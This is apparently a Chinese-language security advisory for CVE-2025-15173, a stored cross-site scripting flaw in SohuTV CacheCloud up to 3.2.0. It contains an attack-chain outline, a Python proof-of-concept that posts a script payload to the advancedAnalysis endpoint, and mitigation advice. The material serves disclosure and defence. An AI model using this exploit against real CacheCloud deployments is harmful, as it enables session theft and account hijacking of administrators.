IPBUF安全漏洞报告
English
CVE-2025-15173 CVSS 3.5 低危

CVE-2025-15173: SohuTV CacheCloud跨站脚本漏洞

披露日期: 2025-12-29

漏洞信息

漏洞编号
CVE-2025-15173
漏洞类型
跨站脚本(XSS)
CVSS评分
3.5 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
SohuTV CacheCloud

相关标签

跨站脚本XSS存储型XSSCacheCloud搜狐TVRedis管理平台CWE-79CVE-2025-15173

漏洞概述

CVE-2025-15173是SohuTV CacheCloud系统中存在的一个存储型跨站脚本(XSS)漏洞。该漏洞影响CacheCloud版本直至3.2.0。问题出现在InstanceController.java文件中的advancedAnalysis函数,由于对用户输入缺乏有效的安全过滤和输出编码,导致攻击者可以在页面中注入恶意JavaScript代码。CacheCloud是搜狐TV开源的Redis缓存集群管理平台,广泛应用于企业级分布式系统中管理缓存实例。该漏洞具有较低的CVSS评分(3.5),但仍可能对系统安全性造成影响。攻击者可能利用此漏洞窃取用户会话cookie、劫持用户账户或进行钓鱼攻击。由于该漏洞的利用代码已在公开渠道可得,且项目方尚未对问题报告做出响应,建议用户及时采取防护措施。

技术细节

该漏洞属于存储型跨站脚本漏洞(CWE-79)。在CacheCloud的InstanceController.java文件中,advancedAnalysis函数直接处理用户输入并将其渲染到Web页面。具体问题在于:1) 函数未对用户提交的参数进行充分的输入验证;2) 输出时未对特殊字符进行HTML实体编码;3) 攻击者可通过构造包含JavaScript代码的参数值实现持久化攻击。攻击者利用此漏洞需要低权限账户(PR:L)并进行用户交互(UI:R),通过诱导其他用户访问包含恶意脚本的页面来触发攻击。成功利用后可执行任意JavaScript代码,包括窃取认证令牌、修改页面内容或重定向用户到恶意站点。由于该漏洞位于管理后台的实例分析功能,攻击者需要先获取一定的系统访问权限。

攻击链分析

STEP 1
Reconnaissance
攻击者收集目标系统信息,确认CacheCloud版本<=3.2.0,并识别出InstanceController.java中的advancedAnalysis端点
STEP 2
Initial Access
攻击者获取CacheCloud系统的低权限账户(PR:L)凭据,成功登录系统
STEP 3
Payload Injection
攻击者构造包含恶意JavaScript代码的参数值,通过advancedAnalysis函数提交到服务器,由于缺乏输入过滤,payload被存储在数据库中
STEP 4
Social Engineering
攻击者诱导具有更高权限的管理员或其他用户访问包含恶意脚本的分析页面
STEP 5
Execution & Impact
当受害者访问页面时,恶意脚本在受害者浏览器中执行,可窃取会话Cookie、劫持账户或进行进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-15173 PoC - Stored XSS in SohuTV CacheCloud # Affected: CacheCloud <= 3.2.0 # File: src/main/java/com/sohu/cache/web/controller/InstanceController.java # Function: advancedAnalysis import requests import json TARGET_URL = "http://target-server:8080" LOGIN_URL = f"{TARGET_URL}/login" INSTANCE_ANALYSIS_URL = f"{TARGET_URL}/instance/advancedAnalysis" # XSS Payload xss_payload = "<script>alert(document.cookie)</script>" def login(session, username, password): """Login to CacheCloud""" response = session.post(LOGIN_URL, data={ "username": username, "password": password }) return response.status_code == 200 def exploit_xss(session, instance_id): """Send XSS payload to advancedAnalysis endpoint""" headers = { "Content-Type": "application/x-www-form-urlencoded" } # Malicious parameter containing XSS payload data = { "instanceId": instance_id, "analysisParam": xss_payload # XSS injection point } response = session.post(INSTANCE_ANALYSIS_URL, data=data, headers=headers) return response.status_code == 200 def main(): session = requests.Session() # Step 1: Authenticate with low-privilege account if not login(session, "attacker", "password"): print("[-] Login failed") return print("[+] Login successful") # Step 2: Exploit XSS vulnerability if exploit_xss(session, "12345"): print("[+] XSS payload sent successfully") print("[*] When admin views the analysis page, XSS will execute") else: print("[-] Exploitation failed") if __name__ == "__main__": main()

影响范围

SohuTV CacheCloud <= 3.2.0

防御指南

临时缓解措施
在未完成官方修复前,可采取以下临时缓解措施:1) 在Web应用防火墙(WAF)层面配置XSS防护规则,对包含<script>、<img>、<svg>等标签的请求进行拦截;2) 禁用受影响账户的访问权限或限制其功能;3) 启用HttpOnly和Secure标志保护Cookie;4) 监控和分析Web访问日志,识别异常请求模式;5) 提醒用户不要点击来源不明的链接,尤其是包含特殊字符的URL。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表